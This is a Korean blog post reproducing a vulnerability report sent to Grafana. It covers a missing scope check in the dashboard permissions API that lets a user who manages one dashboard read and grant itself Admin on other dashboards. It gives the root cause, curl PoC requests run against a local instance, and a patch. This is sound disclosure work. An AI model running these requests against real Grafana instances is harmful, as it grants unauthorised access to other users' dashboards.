보고서를 쓴지 얼마 안되었을때 쓴 보고서라서 그런지 지금 보기에는 고칠점이 많지만 다행히 grafana 측에서 정보를 더 요청하지 않고 바로 accept 해 주었다.
1. Summary
대시보드 권한 API가 대상 대시보드 스코프를 검증하지 않고 dashboards.permissions:* 액션만 확인해, 한 대시보드에서 권한 관리 권한을 가진 사용자가 다른 대시보드의 권한을 읽고 수정할 수 있습니다. 조직 내 권한 상 승(Privilege Escalation) 취약점입니다.
2. Description
Grafana는 대시보드마다 별도의 권한(읽기/쓰기/관리)을 설정할 수 있습니다. 정상 동작이라면 특정 대시보드에만 “권한 관리자”인 사용자는 다른 대시보드 권한에 접근할 수 없어야 합니다. 그러나 현재는 권한 체크가 대시 보드 스코프 없이 액션만 검사되어, 다른 대시보드 권한 조회 및 변경이 가능합니다.
2.1 Expected flow
다음 API 호출 시:
- GET /api/dashboards/uid/<dashboard_uid>/permissions
- POST /api/dashboards/uid/<dashboard_uid>/permissions
Grafana는 요청 대상 대시보드 범위에 대해 dashboards.permissions:read/write 권한이 있는지 검증해야 합니다. 특정 대시보드에만 권한이 있는 사용자는 다른 대시보드에 대해 403/404가 나와야 합니다.
2.2 Root Cause
라우팅에서 스코프 없이 권한을 검사합니다:
- pkg/api/api.go authorize(ac.EvalPermission(dashboards.ActionDashboardsPermissionsRead)) authorize(ac.EvalPermission(dashboards.ActionDashboardsPermissionsWrite))
pkg/services/accesscontrol/evaluator.go에서 EvalPermission은 스코프가 없으면 액션만 있어도 허용하기 때문에, 한 대시보드에 대한 권한 관리자라면 전체 대시보드에 대해 통과됩니다.
3. PoC
환경:
- Grafana OSS 로컬 인스턴스
- 대시보드 2개: dashboard1, dashboard2
- 사용자 testuser는 dashboard1에만 Admin 권한
- dashboard2에는 권한 없음
- dashboard2 UID 확인 (관리자 계정):
curl -s -u admin:admin \\
"<http://localhost:3000/api/search?query=dashboard2>"
응답 예:
{"uid":"adtdknq", ...}
- testuser ID 확인 (관리자 계정):
curl -s -u admin:admin \\
"<http://localhost:3000/api/users/lookup?loginOrEmail=testuser>"
응답 예:
{"id":2, ...}
- testuser로 dashboard2 권한 조회 (정상이라면 403이어야 함):
curl -s -u testuser:testuser \ "http://localhost:3000/api/dashboards/uid/adtdknq/permissions"
실제 응답 (200):
[
{
"dashboardId":2,
"userLogin":"testuser",
"permission":4,
"permissionName":"Admin",
"uid":"adtdknq",
"title":"dashboard2"
}
]
- testuser로 dashboard2 권한 변경 (권한 상승):
curl -s -X POST -u testuser:testuser \\
-H "Content-Type: application/json" \\
"<http://localhost:3000/api/dashboards/uid/adtdknq/permissions>" \\
-d '{
"items": [
{ "userId": 2, "permission": 4 }
]
}'
응답:
{"message":"Dashboard permissions updated"}
결과: 원래 접근 불가했던 dashboard2에 testuser가 Admin으로 등록됨.
4. Impact
- 특정 대시보드에만 권한 관리자 권한을 가진 사용자가 다른 대시보드 권한을 조회/수정 가능
- 조직 내 대시보드 접근 권한을 임의로 획득 가능
- 민감 대시보드 접근 확대 및 권한 상승 발생
5. Patch Recommendation
대상 대시보드 스코프를 권한 체크에 포함해야 합니다.
예시 수정:
- pkg/api/api.go에서 다음과 같이 스코프를 추가
- authorize(ac.EvalPermission(dashboards.ActionDashboardsPermissionsRead, dashUIDScope))
- authorize(ac.EvalPermission(dashboards.ActionDashboardsPermissionsWrite, dashUIDScope))
/uid/:uid 및 /id/:dashboardId 경로 모두에 대해 적절한 스코프 검증을 적용해야 합니다.
'0-day' 카테고리의 다른 글
| CVE-2025-66514 (0) | 2025.12.27 |
|---|---|
| CVE-2025-66558 (0) | 2025.12.27 |